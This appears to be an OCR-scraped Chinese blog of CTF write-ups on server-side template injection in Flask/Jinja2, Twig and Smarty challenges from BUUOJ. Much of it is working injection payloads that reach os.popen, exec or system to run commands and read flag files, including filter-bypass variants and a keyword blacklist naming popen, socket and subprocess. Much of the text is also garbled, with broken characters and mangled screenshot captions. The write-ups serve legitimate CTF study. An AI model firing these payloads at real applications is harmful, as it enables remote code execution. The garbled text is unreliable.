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Flasklight

You searched for:

None

Here is your result

['CCC{FI49 p@I5u}’, 'CSC CTF 2019’, 'Welcome to CTF Bois’, 'CCC{Qmu_T3rtyPuuuuuu}’, 'Tralala_trilili']
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<h3>[’ CCC{F149 _p@15u}”, "CSC CTF 2

{!— Parameter Name: search —>
{!— Method: GET —>

[ TR N

K AT

You searched for:

36

Here is your result
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Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

& Load URL http://6ff2924e-f40d-4fe5-8912-fc27fe362d2f.node4.buuoj.cn:81/?search={{6"6}}

( @aleira-TY
\ ol @Waarurar |
i anlit 1121

FIH TR TR

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring’>, <type 'bytearray'>, <type 'list'>, <type
‘NoneType'>, <type ‘NotimplementedType'>, <type ‘traceback’'>, <type ‘super'>, <type 'xrange'>, <type ‘dict'>, <type ‘set'>, <type ‘slice’>, <type
‘staticmethod'>, <type ‘complex’>, <type ‘float’'>, <type 'buffer'>, <type ‘long’'>, <type 'frozenset'>, <type 'property'>, <type ‘memoryview'>, <type
‘tuple’>, <type 'enumerate’>, <type ‘reversed’'>, <type 'code’>, <type 'frame’'>, <type 'builtin_function_or method'>, <type 'instancemethod'>, <type
‘function’>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper descriptor'>, <type ‘'instance’>, <type
‘ellipsis’'>, <type ‘'member_descriptor'>, <type ‘file'>, <type 'PyCapsule’'>, <type ‘cell'>, <type ‘callable-iterator'>, <type ‘iterator'>, <type 'sys.long_info’'>,
<type 'sys.float_info'>, <type 'EncodingMap'>, <type ‘fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type
‘exceptions.BaseException'>, <type 'module'>, <type ‘imp.Nulllmporter'>, <type ‘zipimport.zipimporter'>, <type 'posix.stat_result'>, <type

'posix.statvfs result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class ' weakrefset. IterationGuard'>, <class

' weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type ‘classmethod’>, <class '_abcoll.lterable’>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <clat
‘_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <typ
' sre.SRE_Match'>, <type ' sre.SRE _Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder’'>, <class 'codecs.IncrementalDecoder'>, <class
‘etrina Tamnlata's <clace 'etrina Farmattar's <tune 'callactione danne’s <tune 'danua itaratar's <tvne 'deane ravarce itaratar's <tvna

W O Oeus O NRs (Iatsss Qo One B e 8 uses f esks @ Hacksar gl
Encryption v Encoding~ SQL~ XSS~ LFI~ XXE~ Other~ ORMEARE: TR/ N HackB:

@ Load URL http://6ff2924e-140d-4fe5-8912-fc27fe362d2f. node4.buuoj.cn:81/?search={{().__class__._ bases__ [0].__subclasses__()}}

TN find.py i — T Bk R £



F:\project\venv\Scripts\python.exe F:/projec

} T

127---> <c 5 'socket._socketobject'>

Process finished with exit code 0O

#i&payload

{{[].__class__._bases_ [0].__subclasses_ ()[127].__init . globals_ ['os'].popen(cat /xxx/flag)}}

HBLRFIEE IR

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

X BN % R e e vk
Makse!

{{[].__class__._bases_ [@]._subclasses_ ()[71].__init_ ['_glo'+'bals_ ']['os'].popen('whoami').read()}}

You searched for:

root

Here is your result

N Omar Dess OBEss NRs (amss Qus Jnr Bei 88 UEes f AEsks @ Hacksar
Encryption + Encoding~ SQL~ XSS~ LFl+w XXE~ Other -

g Load URL

http:/91ff8d9a-4ad0-491a-8d5d-c55157088e4f.node4.buuoj.cn:81/?search={{[].__class__._bases [0].__subclasses__()[71]__init__["_glo'+'bals__"]['os'].popen(‘whoami').read()}}
yn Split URL

7] 3 7] ¥4 i& payload
{{().__class__._bases_ [0]._ subclasses_ ()[59]._ _init_['_glo'+'bals__ ']J['__builtins__ "]['__import__ "]("
EHflag

http://91ff8d9a-4ad0-491a-8d5d-c55157088e4f.node4.buuoj.cn:81/?search={{[].__class__. bases_[@].__subclas

You searched for:

flag{3d731ebf-47d3-4d92-a35b-b6cb39c92eea}

Here is your result

N
o O =5% pae DEaE NRE {datsss Que One B ok & uEEs w s @ Hacksar 0] - X
Encryption v Encoding~v SQL~» XSS~ LFlv XXE~ Other~ OFHSAHE ;TR NR R HackBar v2

& Load URL http://91ff8d9a-4ad0-491a-8d5d-c55157088e4f.noded.buuoj.cn:81/?search={{[].__class . bases [0]. _subclasses_ ()[71].__init_[' glo'+'bals_ "|'os'].popen('cat flasklight/coomme_geeeett youur_flek ').read()}}
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[BJDCTF2020]Cookie is so stable

¥

Tell me, Who are you?

Logout

ID
T |
Submit
: CSDM @SakuraHTY 1
Hello 49
ETTIN

a{*comment*}b

${"z".join("ab")}

{77}
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payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

BNEANEBA R
hint 7T 1 4 & 725

‘div class=" jumbotron jumb”>

<h3>Welcome to BJDCTIF 2020.Happy Game!</h3>

{!— Why not take a closer look at cookies? —>

{div class="shaky” style="font-size:20px:">(,-¥-)/ w<{/div>
Jdiv>

I

‘ Burp Suite Professional v2020.8 - Temporary Project - licensed to surferxyz - m] X ‘
Burp Project Intruder Repeater Window Help
[Dashboard TTarget TProxy Tlntruder ] Repeater ]'Sequencer TDecoder IComparer T Extender T Project options T User options TAuthz 1

1213 | ..

Send Cancel < |v >\ | Follow redirection JTarget: http://09756910-3ece-4ba1-a1d3-d5d6c7¢c5b020.node4.bu... f @
Request Response
JRaW T Params I Headers I Hex ] JRawT Headers I Hex T Render ]
7 Content-Type: application/x—www—form—urlencoded & 1 HTTP/1.1 302 Found s
8 Content-Length: 38 2 Server: openresty
9 Origin: 3Date: Sun, 20 Feb 2022 11:43:51 GMT
http://09756910-3ece—4bal-ald3-dbd6c7c5b020. nod 4 Content-Type: text/html; charset=UTF-8
ed, buuoj. cn:81 5 Connection: close
10 Connection: close 6 Cache—Control: no—store, no—cache, must-revalid
11 Referer: 7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
http://09756910-3ece-4bal-ald3-d5d6¢7¢5b020. nod & 8 Location: flag. php
e4. buuoj. cn:81/flag. php Y Pragma: no—cache
112 Cookie: UM _distinctid= 10 Set—Cookie: user=%7B%W7B7%2A7%7D%7D; expires=Sun
17ed703d4bbb3d-089f71429c¢8009-4c¢3£217f-144000-1 11 X-Powered-By: PHP/7.3.13
Ted703d4bca34; PHPSESSID= 12 Content-Length: 2835
03fedb8125f13a24749985bc1307dbel 13
13 Upgrade—Insecure—Requests: 1 14 <!DOCTYPE html>
14 15 <html> L
15 username=h7B%7B7*7%7D%7D&submit=submit il | ¢ enhaads . .
®'{§} iJ QJ Search... 0 matches | \n | Pretly ®§§}' @ LiJ Search... 0 matches | \n | | Pretty ;
{Done - ) 3,239 bytes|-32 miilis

KB cookieF H usertZ Z AT N FME, RBIWXMEWRIENSEAEcookieH



Request
JRawT Params I Headers I Hex ]

T

9 Origin:
http://09756910-3ece—4bhal-ald3-d5d6e7cHbh020. nod
ed. buuoj. cn:81

10 Connection: close

11 Referer:
http://09756910-3ece—4bhal-ald3-d5d6e7cHbh020. nod
ed. buuoj. cn:81/flag. php

12 Cookie: UM distinctid=
17ed703d4bb53d-08917£429¢8009-4c3£217f-144000-1 1)
7ed703d4bca34; PHPSESSID=
03fedb8125££3a24749985bc1307dbel ; user=
{{ self. env.registerUndefinedFilterCallback (”ex
ec”) 1 {{ self.env. getFilter (“cat /flag”)}}

13 Upgrade-Insecure-Requests: 1

14

15 11 e nrmama—l TR TRTLTUTNLTI crshms +—crshms + v
FIh 3R flag

[WesternCTF2018]shrine 48 J5 1% #: 3k B config
BEEEAG I T

import flask
import os

app = flask.Flask(__name__)

app.config[ 'FLAG'] = os.environ.pop('FLAG")

@app.route('/")
def index():
return open(__file_ ).read()

@app.route('/shrine/<path:shrine>")
def shrine(shrine):

def safe_jinja(s):

s = s.replace('(', "'").replace("')', '")

blacklist = ['config', 'self']

return

Response
JRaw T Headers I Hex I Render ]
64 </divy [
65 {div class="col-md-4">
66 <div class="jumbotron pan”>
<div class="form—group log”>
67 {label>
<h2>
Hello flag{bcbbcb40-a36a—455b
</h2>
<{/label>
68 {Jdivy
<div class="row pt—-3"> (
69 {div class="col-md-12">
70 <a href="logout. php”><button ty
Logout i
<{/button> l

"'.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if _name__ == '_main__':

app.run(debug=True)

BB R EREGE, BB UMEASY, TER R RITIE, JE I R E



<« C @© © & 139fedb8-9ae9-452c-9af3-142eef361b68.noded.buuoj.cn:81/shrine/{{6%6}}

Bgithub (522 (5 TEME (F53IFs OsImE DM R e ORsSSEER O@ERs Bar E
36

WK — T HEERBENAN

BRI ABEBREANR A E, configfiselffitidyg, HEIRAMIIAT LR Hurl_for()Fget_flashed_messages( )& %t
k1L B config

{'find_package': <function find_package at 0x7fc01eb94140>, '_find_package_path': <function _find_package_path at 0x7fc01eb940c8>, 'get_load_dotenv': <function get_load_dotenv at
0x7fc01ecb6a28>, * PackageBoundObject': <class "flask.-helpers._PackageBoundObject'>, ‘current_app': <Flask ‘app’>, 'PY2" True, ‘send_from_directory": <function send_from_directory at
0x7fcO1ecb6ed8>, "session” <NullSession {}>, 'io": <module ‘io’ from 'fusr/local/lib/python2.7/ic.pyc’'>, ‘get_flashed messages”: <function get flashed_messages at 0x7fc01ecb6d70>, '‘BadRequest":
<class 'werkzeug.exceptions.BadRequest'>, "is_ip": <function is_ip at 0x7fc01eb947d0>, 'pkgutil: <module 'pkgutil’ from '/usr/local/lib/python2.7/pkgutil pyc'>, ‘BuildError': <class
‘werkzeug.routing.BuildError'>, 'url_quote: <function url_quote at 0x7fcO1eef3aa0>, 'FileSystemLoader": <class 'jinja2.loaders.FileSystemLoader'>, 'get_root_path" <function get root_path at
0x7fc01ecb6f50>, ' package " 'flask’, 'locked cached property": <class ‘flask.helpers.locked cached property'>, ' app_ctx_stack': <werkzeug.local.LocalStack object at 0x7fc01ece6850>,

' endpoint_from_view_func" <function _endpoint_from_view_func at 0x7fc01ecb6aa0>, 'total_seconds": <function total_seconds at 0x7fc01eb941b8>, ‘fspath’: <function fspath at
0x7fc01ecd6e60>, 'get_env': <function get_env at 0x7fc01ecb66e0>, 'RequestedRangeNotSatisfiable: <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, *flash’: <function flash at
0x7fc01ecbbcf8>, 'mimetypes’: <module 'mimetypes' from '/usr/local/lib/python2.7/mimetypes.pyc'>, ‘adler32': <built-in function adler32>, 'get_template_attribute": <function
get_template_attribute at 0x7fc01ecb6c80>, ' request ctx stack': <werkzeug.local.LocalStack object at 0x7fc01ecdb390>, ' builtins__": {'bytearray": <type 'bytearray'>, 'IndexError': <type
‘exceptions.IndexError'>, 'all': <built-in function all>, 'help’: Type help() for interactive help, or help(object) for help about object, *vars": <built-in function vars>, 'SyntaxError": <type
‘exceptions.SyntaxError'>, 'unicode”: <type 'unicode’>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, "isinstance”. <built-in function
oz O == saa DEss N (Iaees Que One Oeg 8 UEEs  HERRE @ HockBar

E’ﬂ ave |
ORUEAARS: ITEVINRR HackBar v2

Encryption ~ Encoding~ SQL ~ XSS~ LFI~ XXE~ Other~

@) Load URL http://139fe4b8-9ae9-452c-9af3-142eef361b68.noded.buuoj.cn:81/shrine/f{url_for.__ globals_ )}

K

<function find packac
ect'>, 'current :/:': <Fl.
'Python2.7/i0.pyc'>, 'gel

current_appi B iZ% 2 K aTapp, AEATH XL ATapp T Kconfig

<Config {JSON_AS_ASCII": True, 'USE_X_SENDFILE" False, 'SESSION_COOKIE_SECURE": False, 'SESSION_COOKIE_PATH": None, 'SESSION_COOKIE_DOMAIN'": None, 'SESSION_COC
'MAX_COOKIE_SIZE": 4093, 'SESSION_COOKIE_SAMESITE": None, 'PROPAGATE_EXCEPTIONS': None, 'ENV": 'production’, 'DEBUG': False, 'SECRET_KEY": None, 'EXPLAIN_TEMPLATE
'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT": /', 'SERVER_NAME" None, 'FLAG" 'flag{be025e62-c42a-4de2-8b81-f8951b36dc3e}’, 'PREFERRED URL SCHEME" 'http',
"JSONIFY_PRETTYPRINT_REGULAR" False, TESTING" False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), TEMPLATES_AUTO_RELOAD': None, TRAP_BAD REQUEST_
'JSON_SORT _KEYS": True, 'JSONIFY_MIMETYPE": 'application/json’, 'SESSION_COOKIE HTTPONLY": True, 'SEND_FILE MAX AGE DEFAULT" datetime.timedelta(0, 43200),
'PRESERVE_CONTEXT ON_EXCEPTION": None, 'SESSION_REFRESH_EACH_REQUEST": True, 'TRAP_HTTP_EXCEPTIONS": False}>

app A v | BRESA) RAANSQ MEEEES() CERaW) 511, 3R 7 ALER

O Oz Dats DB NEs ) atass Ous Ore 0ok 55 UBEs 1 Sesfs @ Hackear

Encryption + Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

g Load URL http://139fe4b8-9ae9-452¢-9af3-142eef36 1b68.node4.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config)}}

§ spiturL

flagti>k T

% payload

http://139fe4b8-9ae9-452c-9af3-142eef361b68.noded.buuoj.cn:81/shrine/{{url_for.__globals_ ['current_app'].c
[ 3

http://139fed4b8-9ae9-452c-9af3-142eef361b68.node4.buuoj.cn:81/shrine/{{get_flashed_messages._ globals_ ['cu
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IP Current IP:127.0.0.1

A Simple Public IP Address API
Why use?

Do you need to get the public IP address ? Do you have the requirements to obtain the servers’ public IP address? Whatever the reason,sometimes a
public IP address API are useful.

You should use this because:

* You can initiate requests without any limit.
» Does not record the visitor information.

APl Usage
API URI Type Sample Output
get IP http://noded.buuoj.cn:29107/api text/html 8.8.8.8
get XFF(X.Fgrwarded.Fnr) http://node4.buucj.cn:29107/xff text/html 8.8.8.8
##= 55 X-Forwarded-For
I P Current IP:sakura

Why use?

Do you need to get the public IP address 2 Do you have the requirements to obtain the servers’
public 1P address? \Whatever the reason, sometimes a public IP address API are useful.

You should use this because:

2=l X-Forwarded-Forf 224k 1 25 4k,

Cookie: UM distinctid=
17ed703d4bb53d-089f7£429c¢8009—-4c3f?2
17f-144000-17ed703d4bcal4
Upgrade—Insecure—Requests: 1
Cache—Control: max—age=0

X-Forwarded-For: {{6%6}}

Current IP:36
FHEBBRIEN
X-Forwarded-For: {$smarty.version}

Current IP-3.1.30

FIWTiZAEAR smart, BAS 43.1.30



{(if )%
B R R R

o Smartyf] { i £} ZMHWFIPHPRIIfAERE AL, REWINT —tkkit
o BAN(Lf)UHAE MM {/if), WATLMEM {else} M {elseif}
o EEHIPHP 4RI XM R BAER T ALEIf A, W) |, or, &6, and, is _array (), &, . {if

is_array(Sarray) }{/1if}

payload

{if phpinfo()}{/if}

| Raw I Params THeaders I Hex ]
lication/xml;q=0.9, image/webp, ®/%;q p
=0.8

5 Accept-Language:
zh—CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK ; q=
0.5, en-US;q=0. 3, en;q=0.2

6 Accept—Encoding: gzip, deflate

7 Connection: close

8 Cookie: UM distinctid=

Raw | Headers | Hex [Render]

IP

Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 #86_64
17ed703d4bb53d-089£7£429c8009-4c3£2 May 11 2010 031650
1 7f_ 144000_ 1 7 e d 70 3 d4b Ca34 and “Iconfigure’ --build=x26_8d-linuc-mus|" --with-config-file-path={usr/local’etc/php’ --with-config-file-scan-
di phpfcant.d "—enable-option. " '—with-mhash’ "—enable-fip' "—enable-mbstring’ e
9 Upgrade—lnsecure—Requests: 1 mysgind’ '--with-p. rd-argon2’ -with-sodium=shared' “~with-curl --with-libedit *--with-openss! "~with-zlib' -
enable-fpm’ with-fpm- data’ —with-fpm-group=: data' -disable-cgi “build_ali 64-l
0 Cache—Control: max-age=0 e
1 X-Forwarded-For: {if Support e
phpinfo () } {/lf}l 2 (php.ini) Path Justlocaliete/php
2 ation File (none}
3 L7 additional .ini files fusilocalietc/php/conid
lication/xml;q=0.9, image/webp, */%;q & P
=0.8 <hl

' Accept-Language: 18
zh—CN, zh;q=0. 8, zh-TW; ¢=0. 7, zh-HK; q=
0.5,en-US;q=0. 3, en;q=0. 2

iAccept—Encoding: gzip, deflate 19
Connection: close 20

' Cookie: UM _distinctid=
17ed703d4bb53d-089F7£429¢8009-4c3£2 21
17f-144000-17ed703d4bca34 22

I Upgrade—Insecure—Requests: 1 23
I Cache—Control: max—age=0 24
X-Forwarded-For: {if system(’ cat 25

/flag’)} {/if} 26

[BJDCTF2020]The mystery of ip

<h2 class="hidden-xs hidden-sm™>
A Simple Public IP Address API
</h2>
divy
{div style="float:right;margin—top:30px;”>
Current IP:<?php $flag="flag{ac8fcThH-8e39-4001-h569-846853c14
</div>
Sdivy

<div class="why row” >
<div class="col-xs-12">
<h2>
Why use?
TR CSDN @SakuraHTY




AN _ETERRARARL, B A —TF

J Raw [ Params THeaders Hex [Raw I Headers | Hex ] Render]

A

text/html, application/xhtml+xml, application/xml;q=0.9,
image/webp, */%;q=0. 8

5 Accept-Language:
zh—CN, zh;q=0. 8, zh—TW; q=0. 7, zh-HK; ¢=0. 5, en-US; ¢=0. 3, en;
q=0.2

6 Accept-Encoding: gzip, deflate

7 Referer: http://node4.buuoj. ecn:27465/hint. php

8 Connection: close

9 Cookie: UM distinctid=
17ed703d4bb53d-089171429c8009-4c3f217f-144000-17ed703d
4bcald4

10 Upgrade—Insecure-Requests: 1

11 Cache—Control: max—age=0

12 X-Forwarded-For: {{6%6}}

13

14 L 4

BARIEANR T

i Accept—Language:
zh—CN, zh;q=0. 8, zh—-TW; q=0. 7, zh-HK ; ¢=0. 5, en-US; q=0. 3, en;
q=0. 2

i Accept-Encoding: gzip, deflate

"Referer: http://noded.buuo]. cn:27465/hint. php

 Connection: close

I Cookie: UM distinctid=
17ed703d4bb53d-089£7£429¢8009-4c¢3£217f-144000-17ed703d
4hca34

) Upgrade—Insecure—-Requests: 1
Cache—-Control: max—age=0

' X-Forwarded-For: {$smarty. version}|

B R smarti iR
M EES—HE—F, BEET

L

Your IP is : 36

Your IP is : 3.1.34-dev-7




A

text/html, application/xhtml+xml, application/xml;q=0.9,
image/webp, */%:q=0. 8 61 .

5 Accept—-Language: 6231_1“(1_4 » .
zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US;q=0. 3, en; | | 03 jumbotron pan >
q=0. 2 64;="form—group log™>

5 Accept—Encoding: gzip, deflate 65

7 Referer: http://node4.buuo]. cn:27465/hint. php

3 Commection: close TP is : flagl{695r910c-5250-4463-b5dc—T6ad9edasf3d}

J Cookie: UM _distinctid= 66
17ed703d4bb53d-089f7£429¢8009-4c3f217f-144000-17ed703d w_'
4hca34 67

) Upgrade—-Insecure—Requests: 1

1 Cache—Control: max—age=0 ?8

2 X-Forwarded-For: {if system(’cat /flag’ )} {/if} ?9 .
3 (0H1-md—4">
. Y
[GYCTF2020]FlaskApp

KT 3pIhZ £ !

8% 1R —E RN
(BRI H— =R

hint: RIEH & B2, BiLERFBITRE REES2BIED.
base64decoderE N2 T i R st 2 R4



UnicodeDecodeError

UnicodeDecodeError: 'utf-8 codec can’t decode byte 0xa6 in position 4: invalid start byte

Traceback (most recent call last)

File "/usr/local/lib/python3.7 /site-packages/flask/app.py", line 2463, in __call _

return self.wsgi app(environ, start response)

File “/usr/local/lib/python3.7 /site-packages/flask/app.py", line 2449, in wsgi_app

response = self.handle exception(e)

File "/usr/local/lib/python3.7 /site-packages/flask/app.py", line 1866, in handle_exception

reraise(exc_type, exc_value, tb)

File "/fusr/local/lib/python3.7 /site-packages/flask/_compat.py”, line 39, in reraise

raise value

File "/usr/local/lib/python3.7 /site—packages/flask/app.py", line 2446, in wsgi_app
response = self.full dispatch_request()

File "/usr/local/lib/python3.7 /site-packages/flask/app.py", line 1951, in full dispatch_request

rv = self.handle user exception(e)

File "/usr/local/lib/python3.7 /site-packages/flask/app.py", line 1820, in handle_user exception

reraise(exc_type, exc value, tb)

File "/fusr/local/lib/python3.7 /site-packages/flask/_compat.py”, line 39, in reraise

raise value

File "/usr/local/lib/python3.7 /site—packages/flask/app.py", line 1949, in full dispatch_request
rv = self.dispatch_request()

S PRRD

@app.route('/decode’ ,methods=[ 'POST"', 'GET"'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "£R : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !'!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

flash( res )

RLZAFFEREBIEN, WA—T



BASE6G4/M%:

{6+6}}
=
R 12
BRIEANE T
_payload
{% for c in ().__class__._base_._ subclasses_ () %}{% if c.__name__=='catch_warnings"' %}{{ c.__init_ . g
no no no !
if waf(tmp) :
fla:
X B ywafid 8 T
BEHEU N app.py
{% for ¢ in ().__class__._ base . subclasses_ () %}{% if c.__name__=='catch_warnings"' %}{{ c.__init__ . g

from flask import Flask,render_template_string

from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm

from wtforms import StringField, SubmitField

from wtforms.validators import DataRequired

from flask_bootstrap import Bootstrap

import base64

app = Flask(__name_ )

bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
text = StringField('BASE64JI%',validators= [DataRequired()])
submit = SubmitField('#23Z')

class NameForml(FlaskForm):
text = StringField('BASE64f#% ',validators= [DataRequired()])



submit = SubmitField('#&%Z")

def waf(str):
black_list = ["flag","os","system","popen","import","

eval","chr","request”,
"subprocess", "commands", "socket", "hex", "base64","*","?"]
for x in black_list :
if x in str.lower() :

return 1

@app.route('/hint',methods=["'GET"'])
def hint():
txt = "RBIRIZ /L "
return render_template("hint.html",txt = txt)

@app.route('/"',methods=["'POST", 'GET"'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "R :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))

else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "J%" ,img = "flask.png")

@app.route('/decode',methods=["POST', 'GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "£R : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !'!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))

else :
text "
form = NameForml(text)

return render_template("index.html",form = form, method = "f#%" , img = "flaskl.png")

@app.route('/<name>"',methods=["GET'])
def not_found(name):

return render_template("404.html",name = name)
if _name__ == '_main__':

app.run(host="0.0.0.0", port=5000, debug=True)



def waf(str): black_list = ["flag", "os",
"system", "popen", "import", "eval", "chr", "request",
"subprocess", "commands", "socket", "hex", "base64", "*", "?"

BATR Awafid J8 7 iX L5087, WATE#IToRE

{% for c in [].__class__. base__ ._subclasses_ () %}{% if c.__name__=='catch_warnings' %}{{ c.__init_ .

4558 - [8#30;bin&#39;, &#39;b00t&#39;, 8#39;dev_#39;, #39;etc&H#39;, 8#39;homed#39;, &#39;lib&#39;, 8#39;lib648#39;, &#39;mediad#39;, 8#39;mnt&#39;,
&#39;0pt&#39;, 8#39;proc&#39;, &#39;r00t8#39;, &#39;rund#39;, &#39;sbind#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;imp&#39;, 8#39;usr&#39;, &#39;var#39;,
&#39;this_is_the_flag.txt&#389;, &#39;.dockerenv&#39;, 8&#39;app8#39;]

BH T flag

{% for c in ().__class__ . base_ ._ subclasses_ () %}{% if c._ _name__=='catch_warnings' %}{{ c.__init_ .

458 : flag{9d1ba9e3-7144-425¢c-a4a3-a502594bb0bd}

BEEUE RV A A T HHEflaghy S B

{% for c in [].__class__ . base__._subclasses_ () %}{% if c.__name__==‘catch_warnings® %}{{ c.__init__ .

[pasecactf_2019]flask_ssti 45 %2t

Skype ScreenName Generator

Just type your nickname. We will do some unicode magic.

36

FFEBRBEN

8

_8

_8



Skype ScreenName Generator

Just type your nickname. We will do some unicode magic.

{{()._class . bases [0]. subclasses ()}}

Your nickname contains restricted characters!

B 5T RAEEIE
fl, KU Bt

Your nickname contains restricted characters!

Your nickname contains restricted characters!

Your nickname contains restricted characters!

161t H et

Skype ScreenName Generator

Just type your nickname. We will do some unicode magic.

{""[MoS PG class\x SRS}

[6+3=v]<class 'str'>[S+J=v]



Skype ScreenName Generator

Just type your nickname. We will do some unicode magic.

15es\x 55" [0][ "\x5f\x5fsubclasses\x5R\x5"]1()}} “

[<class 'type'>, <class 'weakref'>, <class ‘'weakcallableproxy'=>, <class
'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list’>,
<class 'NoneType'>, <class ‘NotimplementedType'>, <class "traceback'>, <class
'super'>, <class 'range’>, <class 'dict'>, <class 'dict keys'>, <class
‘dict values'>, <class 'dict_items'>, <class 'odict _iterator'>, <class 'set'>, <class
'str'>, <class 'slice’>, <class 'staticmethod'>, <class ‘complex’>, <class 'float’>,
<class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class
‘memoryview'>, <class 'tuple'>, <class 'enumerate’>, <class ‘reversed’>, <class
‘stderrprinter'>, <class 'code’>, <class 'frame'>, <class
'builtin_function_or method'>, <class 'method’>, <class 'function’>, <class
‘'mappingproxy’>, <class 'generator'>, <class 'getset descriptor'>, <class
‘wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class
‘member_descriptor'>, <class 'types.SimpleNamespace’>, <class "PyCapsule’'>,
<class 'longrange _iterator'>, <class 'cell'>, <class "instancemethod'>, <class
‘classmethod descriptor'>, <class 'method descriptor'>, <class
‘callable_iterator's, <class 'iterator'>, <class 'coroutine'>, <class
‘coroutine wrapper'>, <class 'moduledef'>, <class 'module’'>, <class

exp

{{""["\x5Ff\x5Ffclass\x5F\x5f" ][ "\x5F\x5fbases\x5F\x5f" ][] [ "\x5F\x5fsubclasses\x5f\x5F"]()[127]["\x5F\x5fini

Skype ScreenName Generator

Just type your nickname. We will do some unicode magic.

Jlobals\x5Ax51"]["popen”]("whoami”)["read"]()}}

root Béune B gHNaiHé

fRE—:

S Happ.py¥Eig, K

def encode(line, key, key2): return ''.join(chr(x ~ ord(line[x]) ” ord(key[::-1][x]) ~ ord(key2[x])) for x
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMcklvA@pl7B8WO3DrGLma4s

BEHX config, flaglE N



'-M7\x10w\x12d9cT#" }\x0e\x1e\x0fiS(D\x1e\x13X\x17{n\x03g\x02\t\x10[#\x07/(Ak\X15~NG" }>

fRE A

key="GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9oy20W3"
key2="xwdFqMck1vA@pl7B8WO3DrGLma4sZ2Y60uCPEHSQVT"'
flag_encoded="iX BUIN% 5 1 flag’
flag=""
for x in range(len(flag_encoded)):
for i in range(33,127):
if flag_encoded[x]==chr(x ~ i ~ ord(key[::-1][x]) ~ ord(key2[x])):
flag+=chr(i)
print(flag)

f#vE—:
/proc/sel £R7 M HTHFE HF

SRE B #EAR ST FF B S04 A 25 cat /proc/self/fd/{id}

HE: EREMEARE, RITZRAGED w4077 AT catdr & Blemdlineff]. F MR catis
Ht/proc/self/cmdline/f)i&, B 2IHIE catlﬁﬁﬁﬁﬁﬁo B AR EL @ i 8 B ) 4 g R A A BOcF (bedm, 3
P&, , SSTI, , file\\AHiEE, , ./ /BHFF®, , SSRF) K7 RikHEproc/self/cmdline

{{()["\x5F\x5Fclass\x5F\x5F" ][ "\x5F\x5Fbases\x5F\x5F"][@]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"

[GWCTF 2019]4% i 42

3 | {{6%6}} 12r

Parse error: syntax error, unexpected T _STRING, expecting '{' in \var\WWW\html\test.php on line 13

WT—TF, &7 phpikss
REHLE T — M RKIPHPRRIREE (FAD

{{... %ﬁi#"@éi, BARE R %, &R &R R4 S HRXAN R ERRNES B,
(% ... %} BE—DEHIEH.
U oo #): REAER, EARE KR & ALK A I E .

MAFESXMRRA TR ATLEER EERE LF, MiXMHrRZiE T, BROMER (& ... 218
(% S} PAERELf () B#print () REGHEITHIH



244 |{%print lipsum%} $a2x

hello &lt;function
generate lorem_ipsum at

0x7f48224bcd50&gt:!

I [ &
lipsumyg —ANJ7 i

%75 1% % M payload

{{1lipsum.__globals__ ['os'].popen('whoami').read()}}
{{lipsum.__globals_ ['_ builtins__ 'J['eval']("__import__ ('os"').popen('whoami').read()")}}
{{1lipsum.__globals__. builtins__.__import__('os").popen('whoami').read()}}

{%print lipsum.__globals_ ['_bui'+'ltins__ "J['_im'+'port__"']('o'+'s")['po'+'pen']('whoami').read()%}

hello root !

hello app bin boot dev etc
flag _1s Hera home lib lib64

media mnt opt proc root run
sbin srv sys tmp usr var!

name={%print lipsum.__globals_ ['_bui'+'ltins_ "]['__im'+'port_ 'J('o'+'s"')['po'+'pen']('cat /flag_1ls_Hera



e =

hello flag{28df1985-4e2d-
4298-abef-b8d1d20fd409} !

<

